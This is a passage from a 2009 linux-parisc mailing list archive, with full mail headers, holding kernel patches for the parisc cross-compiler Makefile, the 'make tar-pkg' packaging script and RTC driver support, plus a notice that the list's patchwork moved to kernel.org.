> it was a patch that never hit the list or my email...

Hmm, it got a Reviewed-by: line from Grant, but maybe I missed the list?

But fix looks reasonable (I obviously missed that check_cpu_affinity did
more than check...).

Thanks,
Rusty.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: autoselect 32/64bit compiler
Date: Mon, 16 Feb 2009 22:47:34 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <4999DEF6.4070300@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234820882 19677 80.91.229.12 (16 Feb 2009 21:48:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Feb 2009 21:48:02 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 16 22:49:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LZBKv-0000vw-Ct
	for glpp-linux-parisc@gmane.org; Mon, 16 Feb 2009 22:49:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752434AbZBPVrj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Feb 2009 16:47:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751923AbZBPVrj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Feb 2009 16:47:39 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:60484 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752434AbZBPVri (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Feb 2009 16:47:38 -0500
Original-Received: (qmail invoked by alias); 16 Feb 2009 21:47:35 -0000
Original-Received: from mnhm-590e0559.pool.einsundeins.de (EHLO halden.box) [89.14.5.89]
  by mail.gmx.net (mp038) with SMTP; 16 Feb 2009 22:47:35 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18nn9kngjAnD85dTSKKxM7ZvPJdf9nsOBnus+evaT
	cjFssHAD6yJEkn
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1292
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1292>

Automatically select correct 32- or 64bit (cross) compiler, independent if
the kernel is built locally (e.g. 64bit kernel target on 32bit userspace) or 
cross-compiled from another architecture. This patch allows one to just
run 
	make ARCH=parisc	when run as cross compiler, or just
	make 			when run locally.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index da6f669..9d0bd90 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -22,23 +22,12 @@ KBUILD_DEFCONFIG := default_defconfig
 NM		= sh $(srctree)/arch/parisc/nm
 CHECKFLAGS	+= -D__hppa__=1
 
-MACHINE		:= $(shell uname -m)
-ifeq ($(MACHINE),parisc*)
-NATIVE		:= 1
-endif
-
 ifdef CONFIG_64BIT
 UTS_MACHINE	:= parisc64
 CHECKFLAGS	+= -D__LP64__=1 -m64
-WIDTH		:= 64
 CROSS_COMPILE	:= hppa64-linux-gnu-
 else # 32-bit
-WIDTH		:=
-endif

From - Thu Nov 08 21:03:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix "make tar-pkg"
Date: Tue, 17 Feb 2009 01:19:48 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <499A02A4.4060200@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234830003 14615 80.91.229.12 (17 Feb 2009 00:20:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Feb 2009 00:20:03 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 17 01:21:18 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LZDi7-0007zL-Li
	for glpp-linux-parisc@gmane.org; Tue, 17 Feb 2009 01:21:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751031AbZBQATx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Feb 2009 19:19:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751098AbZBQATx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Feb 2009 19:19:53 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:33865 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751031AbZBQATx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Feb 2009 19:19:53 -0500
Original-Received: (qmail invoked by alias); 17 Feb 2009 00:19:51 -0000
Original-Received: from mnhm-590e0559.pool.einsundeins.de (EHLO halden.box) [89.14.5.89]
  by mail.gmx.net (mp019) with SMTP; 17 Feb 2009 01:19:51 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19lNsV48qtlll+0NLPO+Dhappea2ZO4S8ZME3TjSN
	Ctq6j84/+1O/oq
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1293
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1293>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/scripts/package/buildtar b/scripts/package/buildtar
index 28574ae..94c97c3 100644
--- a/scripts/package/buildtar
+++ b/scripts/package/buildtar
@@ -75,6 +75,9 @@ case "${ARCH}" in
 	alpha)
 		[ -f "${objtree}/arch/alpha/boot/vmlinux.gz" ] && cp -v -- "${objtree}/arch/alpha/boot/vmlinux.gz" "${tmpdir}/boot/vmlinuz-${KERNELRELEASE}"
 		;;
+	parisc*)
+		[ -f "${KBUILD_IMAGE}" ] && cp -v -- "${KBUILD_IMAGE}" "${tmpdir}/boot/vmlinux-${KERNELRELEASE}"
+		;;
 	vax)
 		[ -f "${objtree}/vmlinux.SYS" ] && cp -v -- "${objtree}/vmlinux.SYS" "${tmpdir}/boot/vmlinux-${KERNELRELEASE}.SYS"
 		[ -f "${objtree}/vmlinux.dsk" ] && cp -v -- "${objtree}/vmlinux.dsk" "${tmpdir}/boot/vmlinux-${KERNELRELEASE}.dsk"
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: autoselect 32/64bit compiler
Date: Wed, 18 Feb 2009 00:12:10 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <499B444A.8070009@gmx.de>
References: <4999DEF6.4070300@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234912385 16662 80.91.229.12 (17 Feb 2009 23:13:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Feb 2009 23:13:05 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 18 00:14:19 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LZZ8i-0000ns-4D
	for glpp-linux-parisc@gmane.org; Wed, 18 Feb 2009 00:14:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752678AbZBQXMS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Feb 2009 18:12:18 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753843AbZBQXMS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 17 Feb 2009 18:12:18 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:53169 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752678AbZBQXMQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Feb 2009 18:12:16 -0500
Original-Received: (qmail invoked by alias); 17 Feb 2009 23:12:14 -0000
Original-Received: from mnhm-590f6e73.pool.einsundeins.de (EHLO halden.box) [89.15.110.115]
  by mail.gmx.net (mp059) with SMTP; 18 Feb 2009 00:12:14 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18K+gMEBbsKEh7nX9r2XrSnFwK90iq/E471JV75gt
	Lpy8huHonjMM8G
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <4999DEF6.4070300@gmx.de>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1294
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1294>

Helge Deller wrote:
> Automatically select correct 32- or 64bit (cross) compiler, independent if
> the kernel is built locally (e.g. 64bit kernel target on 32bit userspace) or 
> cross-compiled from another architecture. This patch allows one to just
> run 
> 	make ARCH=parisc	when run as cross compiler, or just
> 	make 			when run locally.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>

Just ignore/drop this patch.
Although IMHO the idea is good, it breaks if people name their
(cross-)compiler "hppa-linux-gcc" instead of "hppa-linux-gnu-gcc".

Helge


> diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
> index da6f669..9d0bd90 100644
> --- a/arch/parisc/Makefile
> +++ b/arch/parisc/Makefile
> @@ -22,23 +22,12 @@ KBUILD_DEFCONFIG := default_defconfig
>  NM		= sh $(srctree)/arch/parisc/nm
>  CHECKFLAGS	+= -D__hppa__=1
>  
> -MACHINE		:= $(shell uname -m)
> -ifeq ($(MACHINE),parisc*)
> -NATIVE		:= 1
> -endif
> -
>  ifdef CONFIG_64BIT
>  UTS_MACHINE	:= parisc64
>  CHECKFLAGS	+= -D__LP64__=1 -m64
> -WIDTH		:= 64
>  CROSS_COMPILE	:= hppa64-linux-gnu-
>  else # 32-bit
> -WIDTH		:=
> -endif
> -
> -# attempt to help out folks who are cross-compiling
> -ifeq ($(NATIVE),1)
> -CROSS_COMPILE	:= hppa$(WIDTH)-linux-
> +CROSS_COMPILE	:= hppa-linux-gnu-
>  endif
>  
>  OBJCOPY_FLAGS =-O binary -R .note -R .comment -S
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: linux-parisc patchwork now on kernel.org
Date: Tue, 17 Feb 2009 20:26:09 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20090218012609.GD19782@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1234920402 6497 80.91.229.12 (18 Feb 2009 01:26:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Feb 2009 01:26:42 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 18 02:27:58 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LZbED-0000Pa-LJ
	for glpp-linux-parisc@gmane.org; Wed, 18 Feb 2009 02:27:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753922AbZBRB0M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Feb 2009 20:26:12 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754500AbZBRB0M
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 17 Feb 2009 20:26:12 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:48397 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753922AbZBRB0K (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Feb 2009 20:26:10 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LZbCT-0002F5-JE
	for linux-parisc@vger.kernel.org; Wed, 18 Feb 2009 01:26:09 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1295
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1295>

Please create accounts here, I'll be looking here for patches
instead of the current location.

http://patchwork.kernel.org/project/linux-parisc/list/

The old one will be going offline when the machine it's on dies
sometime in the next few months.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH, v2] parisc: fix "make tar-pkg"
Date: Wed, 18 Feb 2009 23:12:21 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <499C87C5.2000802@gmx.de>
References: <499A02A4.4060200@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234995156 20504 80.91.229.12 (18 Feb 2009 22:12:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Feb 2009 22:12:36 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 18 23:13:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LZufu-0006Rw-GG
	for glpp-linux-parisc@gmane.org; Wed, 18 Feb 2009 23:13:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752319AbZBRWM1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Feb 2009 17:12:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751712AbZBRWM1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 18 Feb 2009 17:12:27 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:45629 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751877AbZBRWM0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Feb 2009 17:12:26 -0500
Original-Received: (qmail invoked by alias); 18 Feb 2009 22:12:25 -0000
Original-Received: from mnhm-590e0941.pool.einsundeins.de (EHLO halden.box) [89.14.9.65]
  by mail.gmx.net (mp069) with SMTP; 18 Feb 2009 23:12:25 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+Mw7d3/MSMczRADaCsKYPwe8B3CG80zWC/i8dsye
	6kbPgHRxKSYtA5
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <499A02A4.4060200@gmx.de>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1296
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1296>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/scripts/package/buildtar b/scripts/package/buildtar
index 28574ae..b1fd48d 100644
--- a/scripts/package/buildtar
+++ b/scripts/package/buildtar
@@ -75,6 +75,10 @@ case "${ARCH}" in
 	alpha)
 		[ -f "${objtree}/arch/alpha/boot/vmlinux.gz" ] && cp -v -- "${objtree}/arch/alpha/boot/vmlinux.gz" "${tmpdir}/boot/vmlinuz-${KERNELRELEASE}"
 		;;
+	parisc*)
+		[ -f "${KBUILD_IMAGE}" ] && cp -v -- "${KBUILD_IMAGE}" "${tmpdir}/boot/vmlinux-${KERNELRELEASE}"
+		[ -f "${objtree}/lifimage" ] && cp -v -- "${objtree}/lifimage" "${tmpdir}/boot/lifimage-${KERNELRELEASE}"
+		;;
 	vax)
 		[ -f "${objtree}/vmlinux.SYS" ] && cp -v -- "${objtree}/vmlinux.SYS" "${tmpdir}/boot/vmlinux-${KERNELRELEASE}.SYS"
 		[ -f "${objtree}/vmlinux.dsk" ] && cp -v -- "${objtree}/vmlinux.dsk" "${tmpdir}/boot/vmlinux-${KERNELRELEASE}.dsk"
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCH/RFC 1/5] rtc-parisc: Add missing module alias
Date: Fri, 20 Feb 2009 16:46:45 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <1235144809-32468-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1235144854 9083 80.91.229.12 (20 Feb 2009 15:47:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Feb 2009 15:47:34 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, Kyle McMartin <kyle@mcmartin.ca>,
	David Woodhouse <dwmw2@infradead.org>,
	Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@lists.linux-m68k.org, linux-kernel@vger.kernel.org,
	Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
To: Alessandro Zummo <a.zummo@towertech.it>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 20 16:48:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LaXcI-0002YH-3O
	for glpp-linux-parisc@gmane.org; Fri, 20 Feb 2009 16:48:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754048AbZBTPq4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Feb 2009 10:46:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754647AbZBTPqz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 20 Feb 2009 10:46:55 -0500
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:35429 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1753892AbZBTPqx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Feb 2009 10:46:53 -0500
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 2354458AD0;
	Fri, 20 Feb 2009 16:46:51 +0100 (MET)
Original-Received: from geert by vixen.sonytel.be with local (Exim 4.63)
	(envelope-from <geert@sonycom.com>)
	id 1LaXaV-0008TJ-1Q; Fri, 20 Feb 2009 16:46:51 +0100
X-Mailer: git-send-email 1.6.0.4
In-Reply-To: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1297 gmane.linux.ports.ppc64.devel:52711 gmane.linux.kernel:797428
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1297>

Make udev autoload the driver

Signed-off-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
---
 drivers/rtc/rtc-parisc.c |    1 +
 1 files changed, 1 insertions(+), 0 deletions(-)

diff --git a/drivers/rtc/rtc-parisc.c b/drivers/rtc/rtc-parisc.c
index c6bfa6f..28fb7d3 100644
--- a/drivers/rtc/rtc-parisc.c
+++ b/drivers/rtc/rtc-parisc.c
@@ -110,3 +110,4 @@ module_exit(parisc_rtc_fini);
 MODULE_AUTHOR("Kyle McMartin <kyle@mcmartin.ca>");
 MODULE_LICENSE("GPL");
 MODULE_DESCRIPTION("HP PA-RISC RTC driver");
+MODULE_ALIAS("platform:rtc-parisc");
-- 
1.6.0.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCH/RFC 3/5] m68k: Enable rtc-generic
Date: Fri, 20 Feb 2009 16:46:47 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <1235144809-32468-4-git-send-email-Geert.Uytterhoeven@sonycom.com>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1235144809-32468-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1235144809-32468-3-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1235144876 9155 80.91.229.12 (20 Feb 2009 15:47:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Feb 2009 15:47:56 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, Kyle McMartin <kyle@mcmartin.ca>,
	David Woodhouse <dwmw2@infradead.org>,
	Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@lists.linux-m68k.org, linux-kernel@vger.kernel.org,
	Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
To: Alessandro Zummo <a.zummo@towertech.it>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 20 16:49:11 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LaXcJ-0002YH-RD
	for glpp-linux-parisc@gmane.org; Fri, 20 Feb 2009 16:48:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758853AbZBTPq7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Feb 2009 10:46:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758819AbZBTPq6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 20 Feb 2009 10:46:58 -0500
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:35448 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1754145AbZBTPqy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Feb 2009 10:46:54 -0500
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 35A4058C4F;
	Fri, 20 Feb 2009 16:46:52 +0100 (MET)
Original-Received: from geert by vixen.sonytel.be with local (Exim 4.63)
	(envelope-from <geert@sonycom.com>)
	id 1LaXaW-0008TW-3n; Fri, 20 Feb 2009 16:46:52 +0100
X-Mailer: git-send-email 1.6.0.4
In-Reply-To: <1235144809-32468-3-git-send-email-Geert.Uytterhoeven@sonycom.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1298 gmane.linux.ports.ppc64.devel:52712 gmane.linux.kernel:797429
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1298>

Signed-off-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
---
 arch/m68k/Kconfig       |    4 ++++
 arch/m68k/kernel/time.c |   21 +++++++++++++++++++++
 2 files changed, 25 insertions(+), 0 deletions(-)

diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
index fb87c08..9d2565e 100644
--- a/arch/m68k/Kconfig
+++ b/arch/m68k/Kconfig
@@ -27,6 +27,10 @@ config ARCH_HAS_ILOG2_U64
 	bool
 	default n
 
+config ARCH_HAS_GENERIC_RTC
+	bool
+	default y
+
 config GENERIC_HWEIGHT
 	bool
 	default y
diff --git a/arch/m68k/kernel/time.c b/arch/m68k/kernel/time.c
index 7db4159..b26933f 100644
--- a/arch/m68k/kernel/time.c
+++ b/arch/m68k/kernel/time.c
@@ -18,6 +18,7 @@
 #include <linux/string.h>
 #include <linux/mm.h>
 #include <linux/rtc.h>
+#include <linux/platform_device.h>
 
 #include <asm/machdep.h>
 #include <asm/io.h>
@@ -159,3 +160,23 @@ int do_settimeofday(struct timespec *tv)
 }
 
 EXPORT_SYMBOL(do_settimeofday);
+
+
+static struct platform_device rtc_generic_dev = {
+	.name = "rtc-generic",
+	.id = -1,
+};
+
+static int __init rtc_init(void)
+{
+	int ret;
+
+	ret = platform_device_register(&rtc_generic_dev);
+	if (ret < 0)
+		pr_err("Unable to register rtc device...\n");
+
+	/* not necessarily an error */
+	return 0;
+}
+
+module_init(rtc_init);
-- 
1.6.0.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
